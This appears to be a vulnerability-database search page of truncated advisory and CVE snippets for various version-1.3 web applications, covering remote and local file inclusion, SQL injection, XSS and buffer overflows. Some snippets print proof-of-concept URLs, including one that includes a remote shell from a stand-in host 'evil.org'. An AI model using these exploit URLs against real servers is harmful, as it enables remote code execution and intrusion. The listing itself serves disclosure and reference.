PHP-CON 1.3 - 'include.php' Remote File Inclusion

PHP-CON 1.3 - 'include.php' Remote File Inclusion Script : http://sourceforge.net/project/showfiles.php?groupid=182182 POC : /PHPCON/Exchange/include.php?webappcfgAPPPATH= Evil Code milw0rm.com 2007-11-28...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in IAPR COMMENCE 1.3 allow remote attackers to execute arbitrary PHP code via a URL in the a phprootpath and sometimes the b privilegerootpath parameter to various PHP scripts under 1 admin/includes/, 2 admin/phase/, 3 includes/, 4...

CVE-2007-6147

Multiple PHP remote file inclusion vulnerabilities in IAPR COMMENCE 1.3 allow remote attackers to execute arbitrary PHP code via a URL in the a phprootpath and sometimes the b privilegerootpath parameter to various PHP scripts under 1 admin/includes/, 2 admin/phase/, 3 includes/, 4...

CVE-2007-6147

CVE-2007-6147 affects IAPR COMMENCE 1.3 and describes multiple PHP remote file inclusion vulnerabilities. The flaw allows an attacker to cause arbitrary PHP code execution by supplying a URL in the php_root_path (and sometimes privilege_root_path) parameter to various PHP scripts under admin/incl...

iaprcommence-rfi.txt

iaprcommence 1.3 RFI --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : iaprcommence 1.3 --------------------- Download : http://downloads.sourceforge.net/iaprcommence/CommenceV13.zip?modtime=1195816743&bigmirror=0...

IAPR COMMENCE 1.3 - Multiple Remote File Inclusions

IAPR COMMENCE 1.3 - Multiple Remote File Inclusions iaprcommence 1.3 RFI --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : iaprcommence 1.3 --------------------- Download :...

CVE-2003-1534

The CVE-2003-1534 entry concerns Justice Guestbook 1.3, specifically the jgb.php3 CGI. The vulnerability is a Cross‑Site Scripting (XSS) flaw triggered by user-supplied input in multiple fields (name, homepage, aim, yim, location, comment), with the underlying cause being insufficient input valid...

Common UNIX Printing System 1.21.3 SNMP - asn1_get_string() Remote Buffer Overflow

Common UNIX Printing System 1.21.3 SNMP - asn1getstring Remote Buffer Overflow source: https://www.securityfocus.com/bid/26917/info Common UNIX Printing System CUPS is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before...

Common UNIX Printing System 1.2/1.3 SNMP - 'asn1_get_string()' Remote Buffer Overflow

source: https://www.securityfocus.com/bid/26917/info Common UNIX Printing System CUPS is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer. Exploiting this issue allows attacke...

CVE-2003-1501

Technical details about CVE-2003-1501 are not publicly provided in the supplied documents. Monitor for updates from official advisories.

CVE-2003-1501

Directory traversal vulnerability in the file upload CGI of Gast Arbeiter 1.3 allows remote attackers to write arbitrary files via a .. dot dot in the reqfile parameter...

CVE-2002-2272

Tomcat 4.0 through 4.1.12, using modjk 1.2.1 module on Apache 1.3 through 1.3.27, allows remote attackers to cause a denial of service desynchronized communications via an HTTP GET request with a Transfer-Encoding chunked field with invalid values...

CVE-2007-5149

The CVE-2007-5149 entry describes a PHP remote file inclusion vulnerability in NewsCMS/Public Media Manager (PMM) 1.3, specifically in NewsCMS/news/newstopic_inc.php where an attacker can cause arbitrary PHP code execution through a URL supplied in the indir parameter. The affected component is t...

public media manager 1.3 - Remote File Inclusion

public media manager 1.3 - Remote File Inclusion f0und bY 0in Download:http://pmm-cms.sourceforge.net/ BUG: news/newstopicinc.php:2:if !empty$indir includeonce $indir."/newsdb/config.php"; Expl0it: http://x.com/path/news/newstopicinc.php?indir=http://evil.org/shell.txt milw0rm.com 2007-09-28...

Webace-Linkscript 1.3 SE - start.php SQL Injection

Webace-Linkscript 1.3 SE - start.php SQL Injection Webace-Linkscript V1.3 Special Edition - Remote SQL Injection Vendor : http://www.webace.de/ Download : http://www.webace.de/downloads/wlsse.zip Ditemukan oleh : k1tk4t - k1tk4t4tnewhack.org Lokasi : Indonesia -- newhackdotorg @ irc.dal.net Berka...

Joomla! Component BibTeX 1.3 - Blind SQL Injection

Joomla Component BibTeX Autore Titolo Ordina select na...

CVE-2007-4326

Multiple PHP remote file inclusion vulnerabilities in Bilder Uploader 1.3 allow remote attackers to execute arbitrary PHP code via a URL in the configrootordner parameter to 1 gruppen.php, 2 bild.php, 3 feed.php, 4 mitglieder.php, 5 online.php, 6 profil.php, and possibly other unspecified PHP...

Remote file inclusion

PHP remote file inclusion in main.php in ISS Proventia Network IPS GX5108 1.3 and GX5008 1.5 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter...

[SECURITY] Fedora Core 5 Update: httpd-2.2.2-1.3

The Apache HTTP Server is a powerful, efficient, and extensible web server...

QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities

No description provided by source. QuickTalk forum v1.3 Local File Inclusion download: http://www.qt-cute.org/download/qtf13.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploits:...